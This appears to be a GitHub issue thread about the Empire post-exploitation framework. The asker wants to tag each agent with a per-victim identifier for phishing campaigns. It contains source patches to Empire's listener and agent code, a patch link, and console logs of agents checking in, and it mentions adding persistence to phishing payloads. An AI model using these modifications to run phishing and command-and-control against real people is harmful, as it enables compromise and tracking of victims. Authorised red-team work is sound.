EmpireProject / Empire

Empire is a PowerShell and Python post-exploitation agent.

Home Page:http://www.powershellempire.com/

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Add a unique identifier to agent

The-Deer-Hunter opened this issue · comments

Hello there, thanks for the amazing work.

Ideally I would like to identify a specific agent connecting to my server. I'm currently using the Empire's API to generate stagers and edit them (adding full persistence and loading them into customized templates). I'm currently stucked at finding a way to be able to identify precisely which agent connected.

I have to set up preventive phishing campaigns to several email lists. What I'd like to achieve is to customize each payload to a target. I was planning on adding a md5 of the email address wherever I could recover it on my server. I tried to edit headers (adding some and editing UserAgent at stager's generation) and every agent's attribute in the stager generated. Unfortunately most of these are listener dependent as the stager is only there to initiate the communication with said listener.

How could I achieve such thing ? I've already looked up sources and it seems that I'd have to edit many things to make such thing doable.

Thanks for your responses, even though I'm pretty sure this is not easily doable.


I would like to be able to recover a value from the original stager in one of these fields.
ideal

commented

Hey thanks for you quick response.

Very glad to know that you already been thinking about such a feature.

If I correctly understood the staging process, the user agent embedded in the stagger (which comes from the related listener profile) is only used for the first communication and then the headers are updated with the corresponding listener's profile (listeners are not the same in my case, as I only generate a temporary listener to create a stager), am I right ?

Indeed I did not think of this solution. I'll take an in-depth look at this file. Hopefully, agent's name is not size limited.

Thank you very much.

I monkey patched to my needs. I actually had to edit a bit more than expected in http.py as the sessionID is generated by the client itself (which I struggled to find out). As the sessionID is size limited as packets.py mentions :

+-----------+------+------+-------+--------+
| SessionID | Lang | Meta | Extra | Length |
+-----------+------+------+-------+--------+
|    8      |  1   |  1   |   2   |    4   |
+-----------+------+------+-------+--------+

I only picked the 4 starting chars of my client identifier plus an underscore (to see which client if identified) and 3 randomized char to keep the client able to reconnect. That's how I did it (you'll have to add a header to the generated stager named 'Identifier', 4 char minimum long) if you want to get it to work.

Of course it may induce many bugs, but with some tests it fits my needs :

Edit lib/listeners/http.py :

  • line 1016 add :
forcedID = ""
if "Identifier" in request.headers :
    forcedID = request.headers['Identifier'][:4] + "_" + "".join(random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(3))
  • edit line below (add an argument to function call) :
stage = self.generate_stager(forcedID, language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
  • edit function definition itself (line 518) :
def generate_stager(self, forcedID, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None):
  • line 570, add :
if forcedID :
    stager = stager.replace('$ID=-join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 8);','$ID="' + forcedID + '";')

And :

[...]
[*] Sending POWERSHELL stager (stage 1) to 192.168.56.101
[*] New agent ae78_Y2I checked in
[+] Initial agent ae78_Y2I from 192.168.56.101 now active (Slack)
[*] Sending agent (stage 2) to ae78_Y2I at 192.168.56.101
[...]

Very cool and useful idea 👍

🌻

Simple way to achieve this (without limited ID length) :

Source changes to be made are :

agents.py : ligne 93 : add
	self.agentsForcedID = {}

agents.py : ligne 1507 : mod
def handle_agent_data(self, _forcedID, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=True):

agents.py : ligne 1533 : add
            if meta == 'STAGE0' or meta == 'STAGE1' or meta == 'STAGE2' and _forcedID != "":
                self.agentsForcedID[sessionID] = _forcedID + '_' + sessionID
            try :
                sessionID = self.agentsForcedID[sessionID]
            except :
                pass

http.py : ligne 1083 : add
            _forcedID = ""
            if "Identifier" in request.headers :
                _forcedID = request.headers['Identifier']

http.py : ligne 1086 : mod
dataResults = self.mainMenu.agents.handle_agent_data(_forcedID, stagingKey, requestData, listenerOptions, clientIP)

http.py : ligne 1001 : mod
dataResults = self.mainMenu.agents.handle_agent_data("", stagingKey, routingPacket, listenerOptions, clientIP)

Or use a patch :
https://pastebin.com/rJTKhW7Y
Go into Empire main folder before launching install.sh :
#patch --strip=1 --input=/path/empireForceIDs.patch

To use this i'm editing stagers after generation to add a headers called "Identifier" containing an ID (to my its campain name + hash of mail address). The agent will take this ID plus a normal 8 char ID separated by an underscore. It then will bug if empire is restarted or if agents lose connection. This because the stager running and initiating is no longer the one previously executed by the target (and does not have the header embedded). Agents will still connect but without a the custom ID. As i'm also editing stager to get full persistence this is not so much of a problem.

[...]
(Empire: agents) > [*] Sending POWERSHELL stager (stage 1) to 192.168.56.101
[*] New agent CAMPAIGN-01_MWM1ZWI0MzExNWViODg1ZDczODI1M2I2_XS3GVH7W checked in
[+] Initial agent CAMPAIGN-01_MWM1ZWI0MzExNWViODg1ZDczODI1M2I2_XS3GVH7W from 192.168.56.101 now active (Slack)
[*] Sending agent (stage 2) to CAMPAIGN-01_MWM1ZWI0MzExNWViODg1ZDczODI1M2I2_XS3GVH7W at 192.168.56.101
[*] Sending POWERSHELL stager (stage 1) to 192.168.56.101
[*] New agent CAMPAIGN-01_ZDMyMDQ0NTAyNzZiMDZkNDFjMmY1M2Yy_6UX7ZPM4 checked in
[+] Initial agent CAMPAIGN-01_ZDMyMDQ0NTAyNzZiMDZkNDFjMmY1M2Yy_6UX7ZPM4 from 192.168.56.101 now active (Slack)
[*] Sending agent (stage 2) to CAMPAIGN-01_ZDMyMDQ0NTAyNzZiMDZkNDFjMmY1M2Yy_6UX7ZPM4 at 192.168.56.101
[...]